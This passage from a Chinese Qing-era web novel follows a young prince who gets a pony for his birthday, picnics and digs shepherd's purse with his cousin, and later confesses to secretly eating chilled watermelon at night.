“快,给六阿哥装一份儿。”耿格格吩咐完,又对着弘晏说道:“六阿哥也喜欢吃这肉脯,等我做得了,便叫人再送些去正院。” 弘晏笑的眼睛眯成了一条缝:“那窝先蟹蟹姨凉了。” 而后,弘晏便拿着装了肉脯的荷包,王乳娘拎着装了荷花糕的食盒,主仆二人便回正院去了。 弘晏从弘昼的话里得知耿格格心里其实十分惦记着弘昼,是以他这一趟,一来是看望耿格格,二来也是叫耿格格放心,弘昼在前院一切都好。 等弘晏走了,耿格格又吩咐秋叶将余下的荷花糕分成两份儿,一份儿送去学堂给弘昼吃,另一份儿则送到胤禛那里去。 这厢,弘晏回了正院,便与乌拉那拉氏分享起耿格格做的荷花糕和肉脯来。 弘晏边吃边和乌拉那拉氏讲着前院发生的事儿。 “弘昼虽聪明但却不放在功课上,福宝,你以后去了学堂可要好好学啊。”乌拉那拉氏看着弘晏说道。 “额凉,这个也好吃。”弘晏说着,便拿起一块荷花糕喂给乌拉那拉氏。 未来的事可说不准,他也不能提前保证。【你现在阅读的是 】 100-110 第101章 第101章生辰礼物 春和景明,柳绿花红,转眼间,便是康熙五十七年了。 雨后的春笋蹭蹭的往外冒,用来做鸡汁焖春笋最好吃不过了,还有那荠菜小馄饨香鲜味美,弘晏能吃上一整碗,再用糯叽叽的青团作为饭后小点心,弘晏大满足,小肚子吃的圆滚滚的。 弘晏这么吃下去,整个人胖了一整圈,便导致去年新做的春装,如今穿在身上已然是扣不上盘扣了。 弘晏对此,只是笑嘿嘿的眨着星星眼看向乌拉那拉氏。 膳房的人厨艺好,他的胃口好,肉肉自然就长得快了。 好在乌拉那拉氏有远见,去年给弘晏做春装的时候,特意吩咐下面的人做上几件大些的袍子备用,如今弘晏穿上倒是刚好合身了。 库房里还有不少新花色的绸缎,乌拉那拉氏便又吩咐人给弘晏量身,好再赶制出几套春装和夏装来。 等量身过后,弘晏爬上檀木小榻,伸出两条小胳膊搂上乌拉那拉氏的脖子:“嘿嘿,额娘最好了。” 乌拉那拉氏将弘晏抱到自己腿上,笑道:“福宝再吃胖些,额娘可就抱不动你了。” “没关系,窝可以抱额娘。”弘晏说着,举起自己的小胳膊来展示臂力。 乌拉那拉氏笑得眼睫弯弯,抬手摸了摸弘晏的小脑袋:“好,那福宝快快长,额娘可等着呢。” 又一个月过去,便是弘晏的五岁生辰了。 这日最开心的人除了小寿星弘晏,便是弘昼和李侧福晋了。 弘昼开心的是放了半天假不用上课了,而李侧福晋开心的是胤禛终于解了她的禁足了。 晚宴上,弘晏吃了长寿面和各种美味佳肴,接下来最期待的当然就是收礼物环节了。 以往都是胤禛第一个带头,可这次胤禛却卖起了关子,只说明日再揭晓礼物,这可使得弘晏好奇极了。 等过完生辰的第二天,弘晏的眼睛时不时的瞟向外面。 乌拉那拉氏见状,笑道:“你阿玛在户部忙着办差,估计黄昏时才能回来呢。” 弘晏听了这话,那隐隐含着期待的眸子染上了一丝落寞。 唉,到底是什么样的生辰礼物非要便宜阿玛亲自揭晓,都不能让苏培盛直接送到正院里来呢。 乌拉那拉氏察觉了弘晏有些失落,走过去说道:“福宝,去睡一会儿吧,兴许你睡醒了,阿玛就回来了。” 弘晏点了点头,随即蹦下了小榻。 睡上一觉,时间还能过得快些。 许是心里有事,弘晏这一觉睡得并不安稳,只半个时辰便醒了。 而弘晏从屋子走出来后,还是未见胤禛的人影。 弘晏还是忍不住想问:“额娘,阿玛准备的礼物,连你也不知道吗?” 乌拉那拉氏正在插花,闻此言放下了手里的剪刀,看向弘晏说道:“你阿玛一向嘴严,他不说,旁人哪里能知道呢。” 她也好奇的紧,弘晏眼巴巴望了一天了,若是胤禛准备的是别出心裁的礼物也就罢了,若只是金玉古玩一类的物件,别说弘晏了,她就头一个不答应。 乌拉那拉氏说话时,弘晏一直在盯着她的眼睛看。 看样子,额娘是真的不知道,而不是配合便宜阿玛所以才谎称不知道。 等了太久,弘晏的耐心已经耗尽了,哼道:“阿玛骗人。” 说不定便宜阿玛是没有准备好礼物,所以找借口来拖延时间呢。 刚走到廊下的胤禛恰巧听到了弘晏的这句话,随即迈步进来:“爷何时骗人了?” 弘晏闻言,将脸扭过去,不再看胤禛。 胤禛见状,勾了勾嘴角:“福宝不是要看礼物吗,马车已经在府门外等着了。” 弘晏听罢,将小脸扭过来问道:“去哪里?” 胤禛笑着说道:“到了地方,你自然就知道了。” 弘晏与胤禛坐上马车后,马车便直奔着城门外的方向行驶。 到地方,弘晏下了马车才知晓胤禛带他来的是马场,准确的说是胤禛的私人马场。 弘晏跟着胤禛走进去,只见一个管事迎上前来请安,紧接着,胤禛大手一挥,那管事便吩咐手下人牵了一匹红棕色的小马驹过来。 胤禛看向弘晏:“福宝,这小马驹你可喜欢?” 弘晏这时才明白,便宜阿玛给自己准备的生辰礼物,就是面前的这匹小马驹。 弘晏笑得灿烂:“喜欢。” 正院里放着的摇摇木马,他已经玩腻了。 胤禛拉着弘晏走过去,开口道:“这小马驹是上品,脾性温顺,你可以摸摸它。” 弘晏闻言,笑着看向了面前的小马驹,而后踮起脚尖试探着伸出手去触碰它。 果然如胤禛所言,这 小马驹很是温顺。 弘晏感知到了这小马驹对他的抚摸并不抵触,手上的动作便也更放松了。 胤禛弯了弯唇角:“福宝,给你的小马驹起个名字吧。” 起名字? 弘晏将手收回去,认真的打量了自己的小马驹,而后看着仰着小脸看向胤禛:“阿玛,叫它‘追风’怎么样?” 有了这匹小马驹,他就可以做风一样的幼崽了。 胤禛点头:“‘追风’,好名字。” 得到胤禛的肯定,弘晏转而看向面前的小马驹,轻声唤道:“追风,你以后就叫追风了。” 与小马驹打过招呼之后,胤禛便开始教弘晏骑马。 弘晏按照胤禛的口令,左脚踩上了脚蹬,右手抓住了马鞍的后鞍鞒,腾空一跃而后稳稳地落坐在了马鞍上。 胤禛紧接着嘱咐:“福宝,放松些,缰绳不用抓那么紧。” 弘晏听了这话,立马调整了手里握着的缰绳。 胤禛牵着马带着弘晏围绕马场溜了一圈,先让弘晏跟追风熟悉一下,拉近距离,才好适应在马背上的节奏。 而弘晏坐在马鞍上溜了一圈之后,整个人很明显的放松下来。 胤禛又教了弘晏一遍动作要领之后,便松开了手。 弘晏先是抬起手来,摸了摸追风的脸颊,而后按照胤禛教的动作要领操作一番后,追风便带着他慢悠悠的在马场上走了起来。 很快,弘晏便能在马场上慢跑起来。 又一圈结束后,胤禛便叫弘晏下马休息。 可弘晏正在兴头上,还想再跑几圈呢。 胤禛笑着开口:“福宝,你初学能骑成这般已经很好了,先下来休息会儿吧。” 听到便宜阿玛夸自己,弘晏不自觉的嘴角上扬,摸了摸追风的脸颊之后,便翻身下马。 弘晏坐下休息后,便有小太监端着铜盆过来叫弘晏洗手。 弘晏拿了澡豆将手洗干净之后,喝了口牛乳解渴,又拿起了桌子上的点心。 此时的胤禛却吩咐养马太监牵过来一匹高大的通体黑色的马。 弘晏看了看自己的小马驹,又瞧了瞧这匹黑色的马,相比之下,自己的小马驹简直就是一个缩小迷你版的。 弘晏又抬眼时,胤禛已经翻身上马,片刻后,胤禛身下的黑马如一阵风般呼啸而去,而那黑马踏过的地方只余尘土飞扬。 弘晏也不顾上吃点心了,一双眼睛眨不眨的紧紧的追随着胤禛。 马背上的便宜阿玛还是帅的嘞! 待胤禛绕了一圈回来,弘晏从椅子上下来,眼睛亮亮的走过去仰脸看着胤禛:“阿玛,我也想骑大马。” 说着,弘晏伸出了双手。 胤禛见状,俯下身大手一捞直接将弘晏抱起来放在身前的马鞍上,随即双手环着弘晏,出声道:“福宝,坐稳了。” 坐上大马,弘晏的视野一下子就变得广阔了。 这厢听了胤禛的话,弘晏脆生生的应了一声,心里有些激动。 胤禛双腿轻夹马腹,黑马立刻奔跑起来。 “芜湖!” 兴冲冲的弘晏忍不住张口呼喊起来,这速度好快好刺激,他都能听到耳边的风刮过去的声音。 听着弘晏如银铃般的清脆笑声,胤禛满意的弯了弯唇角。 绕着马场快跑了一圈后,胤禛便将速度慢下来,正好夕阳西下,父子两人悠然共骑一匹马的影子倒影在地上。 临走时,弘晏还有些舍不得,对着追风摸了又摸。 胤禛见状,摸了摸弘晏的小脑袋:“福宝,阿玛会常带你来的。” 日后骑马的机会多的是,毕竟再过一年,弘晏便要搬去前院读书了。 弘晏点了点头,随即又嘱咐一旁的养马太监要好好照顾追风。 那养马太监连连应下。 回雍亲王府的马车上,胤禛边摩挲着手上的玉扳指,边看着弘晏问道:“还说阿玛骗人吗?” 弘晏闻言,立马扑到胤禛身上,笑嘻嘻道:“阿玛从来不骗人,我最喜欢阿玛了。” 弘晏说完,又糊了胤禛一脸的口水。 回到正院后,弘晏迫不及待的和乌拉那拉氏分享起来:“额娘,阿玛教我学骑马了,我骑的可好了。” 乌拉那拉氏瞧着咧着嘴笑的弘晏,言道:“是吗?爷神神秘秘的原来给福宝的生辰礼物是骑马啊。” 弘晏拉了拉乌拉那拉氏的袖子,接着说道:“额娘,阿玛还送了我一匹小马驹,我起了名字,叫‘追风’。” 接着,弘晏便眉飞色舞的给乌拉那拉氏展开讲了他在马场是如何骑马的。 胤禛静静地听弘晏王婆卖瓜似的自卖自夸,而作为主要听众的乌拉那拉氏自然是一个劲儿的夸弘晏能干。 等母子两个说完,胤禛方才开口说道:“福宝,明日阿玛得闲,约了你十三叔去京郊钓鱼,你可去?” 弘晏闻言,看向胤禛问道:“弘晈弟弟去吗?” 对于弘晏提出的问题,胤禛是一点儿都不意外,答道:“你十三叔自然会带着弘晈去。” “那我当然也去了。”弘晏说完,又对着乌拉那拉氏说道:“额娘,明日你叫银烛姐姐和流萤姐姐备些点心,我要带去给弘晈弟弟吃。” 乌拉那拉氏宠溺道:“好。” 胤禛闻言,挑眉问:“是给弘晈吃的?还是你自己想吃啊?” 便宜阿玛戳破了自己的小心思,弘晏忽闪着眼睛说道:“多准备些,阿玛和十三叔也可以吃啊,钓鱼多累啊。” 胤禛配合着应声。 好大儿是会拿好话来哄他的。 第102章 第102章京郊野餐 天朗气清,风和日丽,正宜出行,胤禛早早的就带着弘晏坐上马车出门了。 到了京郊,胤禛抱着弘晏下了马车,苏培盛则吩咐几个小太监将准备好的东西都搬运下来。 这厢,弘晏抬眼看去,目之所及绿草如茵,溪水潺潺流去,那溪边的垂柳倒影在水面上好像一幅画,而那柳枝上还有一只黄莺暂时栖息。 这里景色宜人,连空气也格外清新呢。 胤禛见弘晏一动不动的站着,便走过去出声询问:“福宝,在看什么?” 胤禛的话刚一落地,弘晏就瞧见那柳树枝上的黄莺展翅高飞了。 弘晏扬着小脸看向胤禛:“阿玛,你把黄莺吓跑了。” 胤禛失笑道:“怎么?你还要捉它不成?” “当然不是了。”弘晏正说着话,余光却瞥见那柳树下绿色的草地上有一抹金黄色。 弘晏好奇的迈开步子跑过去,胤禛不解的抬步跟过去。 弘晏跑过去蹲下身子一看,原来是一片金黄色的羽毛,羽毛的尾处还带着一些黑色的斑点。 这应该是黄莺刚才振翅高飞的时候掉下来的。 弘晏这样想着,随即伸手将地上的羽毛捡起来。 “福宝哥哥!” 弘晏听到有人唤自己,一扭脸便瞧见弘晈正冲着自己跑过来,弘晏咧着嘴起身迎上去:“弘晈弟弟,你看。” 弘晏边小跑着,边挥了挥手中的金黄色羽毛。 到了弘晏面前,弘晈便停了脚下的步子,看着弘晏手中的羽毛说道:“福宝哥哥,这羽毛是哪里来的?” 于是乎,弘晏就给弘晈讲了刚才发生的事情,末了,弘晏拿着羽毛在弘晈的下巴处扫来扫去。 弘晈笑着躲开:“福宝哥哥,好痒啊。” 弘晏与弘晈嬉闹的时候,胤禛与胤祥已然摆开架势在溪边钓起了鱼。 少顷,弘晏与弘晈手拉手走了过去。 弘晈瞅了瞅溪水,没瞅见鱼,便歪着脑袋问向胤祥:“阿玛,这溪里有鱼吗?” 弘晏抢先回答道:“当然有了,不然阿玛和十三叔怎么会选在这里钓鱼呢。” 弘晈抬手挠了挠小脑袋,有些疑惑:“可是我怎么没看见溪里有鱼呢?” 此时,胤禛悠悠开了口:“你们两个吵吵闹闹的,要上钩的鱼都被你们吓跑了。” 弘晈震惊中带着些许懊悔:“啊?” 弘晏撇了撇嘴:“明明是阿玛和十三叔钓不上来鱼,却怨我们。” 胤祥闻言,笑着看向弘晏:“福宝,要是十三叔钓上鱼来怎么办?” 弘晏这是瞧不起他钓鱼的技术了。 弘晏从胤禛身旁一溜烟儿的跑到胤祥面前,眨着星星眼讨好道:“十三叔钓上鱼来,我和弘晈弟弟就能吃上烤鱼了。” 他刚才的话只是为了回怼便宜阿玛,是不小心才误伤到十三叔的。 弘晈听了弘晏的话,眼睛立刻就亮了,冲着胤祥喊道:“阿玛,我要吃烤鱼。” 胤祥看着自家的小馋猫弘晈,不禁笑了:“好,为了你们俩的烤鱼,我们可要加把劲儿了。” 胤祥说着话,视线穿过弘晏与弘晈望向了胤禛。 胤禛见状,勾了勾嘴角。 而弘晏与弘晈两个小朋友为了能早点吃上烤鱼,便安安静静的站在溪边 看着胤禛与胤祥钓鱼。 只是等鱼上钩的时间过得太慢太煎熬,弘晏与弘晈两个人很快没了耐性,而此时又刮起了微风,弘晏便带着弘晈放风筝去了。 出门之前,他可是特意嘱咐苏培盛准备的,如今便能派上用场了。 风筝有两个形状,弘晏选了黑燕子形状的风筝,弘晈便要了蝴蝶形状的风筝。 弘晏想象中的放风筝是很简单的,可现实是他的风筝飞不过三秒就掉了下来,弘晈的风筝也是如此。 苏培盛见状,走上前去教两个小阿哥放风筝。 在苏培盛的指导之下,弘晏和弘晈的风筝成功飞起来了,而且飞的稳稳地。 弘晏走在草地上,一只手拿着风筝线轮,另一只手适时来调□□筝线的松紧。 弘晏仰着脸瞧着蓝天上的黑燕子风筝,而后对着弘晈说道:“弘晈弟弟,我们来比比谁的风筝飞的高。” 弘晈一口答应下来:“好哇!” 而胤祥瞧着两个小娃娃开心的放着风筝,便看向胤禛说道:“四哥,近些日子八哥那边好似没了动静,就连九哥和十哥也鲜少去八贝勒府了。” 胤禛闻言,只道:“几日前朝臣们上奏请汗阿玛再立皇太子却被驳斥,而那上奏的人员中大多与老八私交甚好,如今这个局面,老八面上自然是安分一段日子了。” 胤祥深以为然,又道:“储位空悬一日,八哥便筹谋一日,四哥,你有何打算?” 胤禛看向胤祥,笑着:“以不变应万变。” 胤禟颔首。 这厢,弘晏与弘晈放风筝放累了,弘晏便叫苏培盛将一条毯子平铺在地上,而后把带的吃食都从食盒里拿出来摆在毯子上。 少顷,瓜果点心就在毯子中央摆的满满当当的。 弘晏拉着弘晈坐在了毯子上,而后从碟子里拿起一个青团递给弘晈:“弘晈弟弟,你尝尝这个青团,里面是豆沙馅的,香香甜甜的。” 弘晈接过了弘晏递过来的青团,咬了一口含糊不清的说道:“好吃。” 弘晏左手拿着青团,右手拿着青枣,吃得那叫一个满足。 弘晈很快吃完了一个青团,而后对着弘晏说道:“福宝哥哥,我口渴了。” 弘晏闻言,放下了手中未吃完的青团,抢在苏培盛之前拎起小茶壶给弘晈倒了一杯蜂蜜水。 弘晈双手端过了蜂蜜水:“谢谢福宝哥哥。” 弘晏笑了笑,转而又给自己倒了一杯蜂蜜水。 吃了青团,喝了蜂蜜水,弘晏又吃了几片肉脯便饱了,便惬意的躺在毯子一侧仰望着蓝天。 弘晈吃完最后一口肉脯,也躺在了弘晏身旁,问道:“福宝哥哥,你在看什么?” 弘晏闻言,将手举起来指给弘晈看。 弘晈的视线顺着弘晏的手指看去,疑惑道:“福宝哥哥,那是什么鸟啊?” 那只鸟飞的太高又离他太远,在弘晈看来,就好像一个小黑点,委实看不出来是什么鸟。 下一瞬,弘晏开了口:“我也不知道。” 弘晏的话声刚落地,就听见一旁的苏培盛欢喜道:“六阿哥,爷钓上来一条鱼了。” 弘晏闻言,“蹭”的一下站起来跑过去看胤禛钓上来的鱼,弘晈紧随其后。 弘晏低头看去,那木桶里果真有一条大鱼还在喝水吐泡泡呢。 目前还一无所获的胤祥也站了起来,看向胤禛说道:“还是四哥沉的住气啊。” 弘晏麻溜的接过话:“嘿嘿,还是阿玛最厉害了。” 胤禛早就习惯了飞快变脸的弘晏,不过好大儿当众夸他,胤禛还是很受用的,是以胤禛抬手摸了摸弘晏的发顶。 此时的弘晈有些羡慕弘晏了,拉着胤祥的袖子说道:“阿玛,我也要大鱼。” 胤祥揉了揉弘晈的小脑袋:“好,等阿玛给你钓上来一条大肥鱼。” 胤禛与胤祥继续钓鱼,弘晏休息够了,便带着弘晈在草地上玩起来,忽而,弘晏觉得这菜地上的植物有些眼熟。 想起来了,这是荠菜! 弘晈见弘晏蹲在地上不动,便问道:“福宝哥哥,你怎么盯着草看啊?” 弘晏指给弘晈看:“弘晈弟弟,这是荠菜,不是草。” 弘晈挠了挠小脑袋,眼睛里满是疑惑,荠菜?可是看起来真的很像是草啊! 弘晏徒手揪起两根荠菜叶子就朝着胤禛走过去,而弘晈也麻溜儿的跟了上去。 “阿玛,快看,我发现了荠菜。”弘晏说着,把两根荠菜叶子在胤禛面前晃了晃。 胤禛接过弘晏手里的荠菜叶子仔细辨认了一番:“不错,的确是荠菜。” 一旁的胤祥有些意外:“福宝,你还识得荠菜?” 弘晏闻言,看向胤祥出声解释道:“十三叔,我见过荠菜的,前几日额娘的小厨房做了荠菜小馄饨,味道很是鲜美。” 弘晈听了这话,看向弘晏手里的荠菜叶子时,目光就变了:“福宝哥哥,我也想吃荠菜小馄饨。” 听起来很好吃的样子! 弘晏笑嘿嘿道:“那我们去挖荠菜吧。” 既然发现了荠菜,这一片草地上一定还有很多荠菜,自己亲手挖出来的荠菜吃起来会更香的。 弘晈爽快的点头:“好哇,好哇。” 胤禛听到弘晏要挖荠菜,便扭头嘱咐道:“福宝,叫苏培盛给你们找工具来,别用手挖,也别走太远了。” “知道了,阿玛。”弘晏说完话,便带着弘晈找苏培盛去了。 苏培盛在带来的工具箱子里找了找,还真找到了几把小铲子,弘晏与弘晈一人一把小铲子,再配一个竹编小篮子。 弘晏左手挎着小篮子,右手拿着小铲子便带着弘晈出发了。 只靠两个小阿哥,自然是挖不了多少荠菜的,苏培盛命两个小太监分别跟随着弘晏与弘晈,好保护两个小阿哥,再派三个小太监拿了铲子与篮子一同挖荠菜。 弘晈虽然见过了荠菜长什么样子,可真的蹲下来去找,弘晈却觉得眼前绿油油的植物都是各种各样的菜,分不出来里面有没有荠菜,而哪个又是荠菜了。 弘晈只好先挖一颗自己觉得像荠菜的植物然后去找弘晏辨认。 而此时的弘晏埋头哼哧哼哧的已经挖了四五颗荠菜了。 见到弘晈过来,弘晏笑了:“弘晈弟弟,你手里的可不是荠菜。” “啊?不是吗?”弘晈迷茫的挠了挠小脑袋,他觉得这颗很像弘晏方才手里拿着的荠菜啊。 弘晏见弘晈还不能很快辨认出荠菜,便从自己的篮子里拿出一颗荠菜给弘晈,好让弘晈能够时刻辨别。 弘晈将自己手里的小草扔了,接过弘晏的荠菜向弘晏道谢之后,便投入到挖荠菜的工作中了。 太阳渐渐升高,胤禛钓了两条鱼,胤祥钓了一条鱼,三条鱼也够吃了,胤禛与胤祥便决定带着弘晏与弘晈回去。 小太监带着弘晏与弘晈回来,胤祥瞧着弘晏手里的篮子里放着满满当当的荠菜,不禁感叹道:“福宝厉害啊,竟挖了这么多荠菜啊。” 弘晏笑着说:“弘晈弟弟也挖了好多呢。” 弘晈刚开始还得拿着荠菜仔细对照才能分辨出来草地上的植物哪个是荠菜,是以挖的速度和数量便没有弘晏的又快又多了。 胤禛看着弘晏与弘晈,夸道:“你们两个都厉害,咱们回去吃烤鱼、荠菜小馄饨。” 回到雍亲王府后,胤禛与胤祥在前院书房喝茶对弈,弘晏与弘晈的身上沾染了 泥土便去净室沐浴,鱼和荠菜苏培盛一回来便交给了膳房。 乌拉那拉氏拿了一件弘晏的新衣裳给弘晈穿。 两个孩子沐浴更衣出来后,乌拉那拉氏瞧着明明是一样尺寸的袍子,弘晏穿上正好,而弘晈穿着就显得宽松了。 乌拉那拉氏看向弘晏说道:“福宝,你比弘晈胖了不少,可要少吃些了。” 弘晏撅了撅嘴:“额娘,多吃饭才能长高长壮啊。” 弘晈闻言,看向乌拉那拉氏说道:“四伯母,我额娘说了,多吃饭才能当巴图鲁。” “对,弘晈弟弟,咱们一起当巴图鲁。”话说完,弘晏就拉着弘晈去院子里荡秋千去了。 片刻后,小喜子便来传话,宴席已然备好了。 乌拉那拉氏便招呼弘晏与弘晈从秋千上下来,去前院用膳了。 烤鱼好吃但多刺,弘晏吃荠菜小馄饨的时候,乌拉那拉氏便在挑鱼刺,将挑完刺的鱼肉一半夹给弘晏的碟子,另一半夹给弘晈的碟子里。 弘晈将嘴里的荠菜小馄饨咽下,看着乌拉那拉氏说道:“谢谢四伯母。” 乌拉那拉氏笑得温柔:“不用客气,快吃吧。” 这时,弘晏看向弘晈,开口说道:“弘晈弟弟,荠菜小馄饨很好吃,我没有骗你吧。” 弘晈答道:“好吃,我还要吃一碗。” 在饭量面前弘晏不甘示弱:“我也能再吃一碗。” 乌拉那拉氏笑道:“挖的荠菜多,吃多少都能,不过可别撑着了。” 一顿午膳热热闹闹的吃完,胤祥便带着弘晈回府去了。 即使乌拉那拉氏事先说了别吃撑着了,可弘晏还是吃的肚皮圆滚滚的,一连打了好几个饱嗝,乌拉那拉氏便叫流萤给了山楂丸给弘晏吃,好消消食。 到了晚膳,乌拉那拉氏便不许弘晏吃那么多了,喝碗薏仁山药羹便是了。 弘晏午膳吃多了,到了晚膳时肚子便也没有那么饥饿,喝上一碗薏仁山药羹,胃里倒是舒服的紧呢。 第103章 第103章不翼而飞 炎热的夏季总是让人觉得过得很漫长,弘晏也不例外,纵使正院已然用上了冰鉴,弘晏还是觉得身体里燥热的紧,来上一碗冰镇过的西瓜汁才能快速的由内而外的感觉到凉爽。 乌拉那拉氏顾及着弘晏的身子,不管弘晏怎么撒娇纠缠,乌拉那拉氏只许弘晏喝上一小碗。 弘晏见状,只得罢休。 过了一会儿,因为西瓜汁而产生的冰凉感觉已然消失了,弘晏觉得身上有些黏腻,应是出了汗,便嘟囔道:“额娘,好热,那我洗个澡总行了吧。” 弘晏正是爱玩的年纪,稍稍一活动身上可不就出汗了,乌拉那拉氏便吩咐王乳娘去准备热水。 弘晏哭丧着脸看向乌拉那拉氏:“额娘,这么热的天怎么还用热水洗澡啊,用凉水洗才舒服啊。” 用热水洗澡不是更热了嘛。 乌拉那拉氏只道:“正是因为天热,用热水洗澡才舒服。” 弘晏撅了撅嘴:“那我不洗了。” 王乳娘见状,迟疑的看向了乌拉那拉氏。 乌拉那拉氏微微抬了抬下巴,示意王乳娘只管去准备。 没过多久,弘晏终是抵不过身上的黏腻汗液,还是去洗热水澡了。 到了晚上,弘晏躺在耳房的拔步床上翻来覆去的睡不着,忽而听到有脚步声逐渐靠近,便闭上眼睛假寐。 弘晏只感觉有一双手给他掖了掖被子便转身离去了。 弘晏偷偷睁开一只眼睛去瞧,原来是王乳娘。 待门闭上,弘晏彻底睁开了眼睛,无聊的划动着双腿。 好漫长的夏夜啊! 弘晏在心里感叹。 如果这时候有冰镇的西瓜汁喝就好了。 弘晏脑海中浮现出这个念头的时候,没出息的舔了舔嘴巴。 有些东西还真是不能想,有了想喝冰镇西瓜汁的念头,弘晏怎么也睡不找着了,更觉得身上闷热的紧。 白日里乌拉那拉氏叫人切了西瓜榨西瓜汁,院子里的奴才们才有份,或许小厨房里还剩有西瓜汁呢。 虽然只是一个小小的猜测,但毫无困意且馋虫身上的弘晏还是决定一探究竟。 弘晏轻手轻脚下了拔步床。 王乳娘睡在外间,若是走门定然会被发现的。 弘晏便改步走向了窗子,踩着凳子上了靠窗的桌案便能从窗台翻出去了,不过这窗台离地面还有些距离,弘晏倒是能蹦下去,但就是怕发出来的声响惊醒了王乳娘。 弘晏思索片刻,便将拔步床上的轻薄被子卷起来而后放在了桌案上,待自己踩在桌案上以后,再抱起成卷的被子轻轻的从窗台扔了出去。 待成卷的被子稳稳地落在了地上,弘晏便从窗台翻出去,小心的将腿往下撤,直到两条腿成功的踩在了被子上,弘晏才松开了扒着窗台的手。 今夜的月光澄澈明亮,倒是给弘晏帮了忙,弘晏很快便走到了小厨房所在的位置。 小厨房的门上虽然挂着锁片但并没有锁住,弘晏嘴角一咧,轻松的将小厨房的门打开,而后迈步走进去借着透进来的月光开始寻找,不一会儿便在角落里发现了冰鉴。 弘晏将冰鉴打开,在隔层里发现了西瓜。 虽然没有现成的冰镇西瓜汁可以喝,但是有切好的西瓜块吃也不错。 弘晏这般想着,便蹲下身子,左右手齐上阵,开始往嘴里塞西瓜块。 冰冰凉凉,甜甜蜜蜜,太爽了! 弘晏吃饱了以后,将冰鉴盖好,又将小厨房的门复原便原路返回去。 这厢,弘晏走到了廊下的窗户旁,为了不使人起疑心,弘晏将地上的被子举起来朝着窗户扔进去,那被子正好落在了挨着窗户的案桌上,接着,弘晏双手扒上窗台,两条腿屈起向上一跃的同时,两只脚也蹬向墙壁,借着墙壁和窗台的力,弘晏成功的翻了进去。 弘晏轻轻的将窗户阖上,而后在桌案上蹲下身子,将腿伸出去,待踩稳了凳子,弘晏再将另一只脚也伸出去,最后稳稳地落在了地面上。 末了,弘晏还不忘抱起案桌上的被子扔在了拔步床的角落里,而后翻身上了拔步床,脑袋靠在枕头上,摊成个“大”字阖眼睡去。 待到天亮时,王乳娘走进门唤弘晏起床,余光才瞥见拔步床角落里那皱成一团的被子。 “哎呦,六阿哥,昨夜奴婢都给您掖过一回被子了,怎么还是踢开了,着凉了可怎么好。”王乳娘絮絮道。 这时坐起来正揉眼睛的弘晏听到“昨夜”这两个字,意识一下子就清醒了,嘿嘿笑道:“夜里太热了嘛,我身子好的很,不会着凉的。” 话说完,弘晏抬手拍了拍自己的小胸膛。 弘晏夜里踢被子的小毛病一直都有,是以王乳娘没多想,便服侍着弘晏穿衣洗漱了。 在耳房收拾妥当之后,弘晏便去了正屋找乌拉那拉氏一同用早膳。 弘晏的眼睛在八仙桌上扫了一圈,热气腾腾的早膳里有他喜欢吃的蒸饺,弘晏便先伸手从碟子里拿起了一个蒸饺。 这时,流萤迈步进来行至乌拉那拉氏身旁,出声禀报:“福晋,昨夜小厨房的太监小叶子没有将小厨房落锁,那冰鉴里的西瓜都没有了。” 弘晏正美滋滋的吃着手里的蒸饺,听到流萤 说的话时,那咀嚼蒸饺的嘴巴一顿,心虚的忽闪了一下眼睛,转而看向了身旁的乌拉那拉氏。 乌拉那拉氏将手中的调羹放下,抬眼问向流萤:“只有西瓜不见了吗?” 流萤点头道:“回福晋的话,正是,小叶子已然在外面侯着了。” 乌拉那拉氏开口道:“叫他进来。” 下一瞬,小叶子进门就跪在了地上:“福晋,昨夜奴才将锁挂在门环上时,忽感内急便出恭去了,等从官房出来奴才就忘了小厨房还没落锁的事儿了,奴才知罪,但冰鉴里的西瓜如何没有了,奴才当真不知啊。” 一旁的银烛看着小叶子说道:“偏偏落锁的时候内急,西瓜也不见了,哪有这么巧合的事情。” 小叶子闻言,赶忙出声解释道:“银烛姐姐,奴才是万万不敢偷吃冰鉴里的西瓜的。” 小叶子说完,又对着上方的乌拉那拉氏叩头道:“奴才所言句句属实,还望福晋明察。” 事情的原委乌拉那拉氏是听明白了,便看向流萤吩咐道:“将正院里的奴才集齐了,一一盘问清楚,昨晚有谁去过小厨房,入夜后又都去了何处、做了何事?” 小叶子虽然嫌疑最大,可那门既然没有锁住,也可以有人在小叶子走后又打开门进去的。 总归是正院里的人干的,只要有人做,总会有人瞧见的,等会儿盘问清楚一一写了口供,摆在一起对不上号的,便是扯谎有猫腻的。 流萤微微屈膝,便要去办。 弘晏先喊住了流萤,又看着乌拉那拉氏说道:“额娘,不过是几块西瓜罢了,没了便没了,犯不着这么查吧?” 弘晏想劝乌拉那拉氏改变主意,将事情轻轻揭过去。 乌拉那拉氏闻言,对着弘晏说道:“西瓜是不值什么,可在夜里不翼而飞,便说明底下人手脚不干净,那就绝不能姑息。” 有道是家贼难防,养虎为患怎么成? 乌拉那拉氏说完话,看向流萤微微抬了抬下巴,示意流萤继续去办。 而弘晏听完了乌拉那拉氏的话,心里有些不是滋味,若是因为自己的偷吃,连累整个正院的奴才不得安宁,那就是他的罪过了。 于是乎,弘晏鼓起了勇气,对着乌拉那拉氏说道:“额娘,其实……” 后面的话还没说出口,弘晏痛苦的捂住了肚子。 乌拉那拉氏瞧弘晏脸色不对劲,赶忙问道:“福宝,这是怎么了?” 弘晏的脸已然皱成了苦瓜样:“额娘,我肚子疼,要出恭。” 乌拉那拉氏看向银烛:“快。” 银烛立马上前来抱着弘晏出去,而王乳娘见情况不对,赶忙将弘晏半夜踢开被子的事儿说了出来。 乌拉那拉氏脸色一沉,呵斥道:“为何不早说?” 王乳娘“扑腾”一声跪下。 乌拉那拉氏皱眉:“还不快去请柳大夫过来。” “是。”王乳娘又赶忙站起身去请柳从南过来。 等柳从南急匆匆赶来正院时,弘晏已然拉了三回了,整个人都快虚脱了。 趴在小榻上的弘晏看向身旁一脸担忧的乌拉那拉氏,无力道:“额娘,那冰鉴里的西瓜是我昨晚偷吃的。” 乌拉那拉氏瞧着弘晏一大早就闹起了肚子,心里已然猜到几分了。 只是,瞧着眼前可怜巴巴的弘晏,乌拉那拉氏又哪里能说出斥责的话呢。 柳从南给弘晏把了脉,便道:“福晋,六阿哥想必是吃多了寒凉之物,夜里又着了凉气,这才导致的腹泻,奴才这就去开方子,六阿哥吃上几服药便会好的。” 乌拉那拉氏点头后,柳从南赶忙去办了。 煎药的功夫,弘晏又去拉了一回,这下子他是连腰都挺不起来了。 乌拉那拉氏将弘晏抱在怀里,轻声哄着。 弘晏此时悔得肠子都青了。 待药熬好,流萤立马端了过来。 弘晏也不再嫌弃这药汤又黑又苦了,端着碗一饮而尽了。 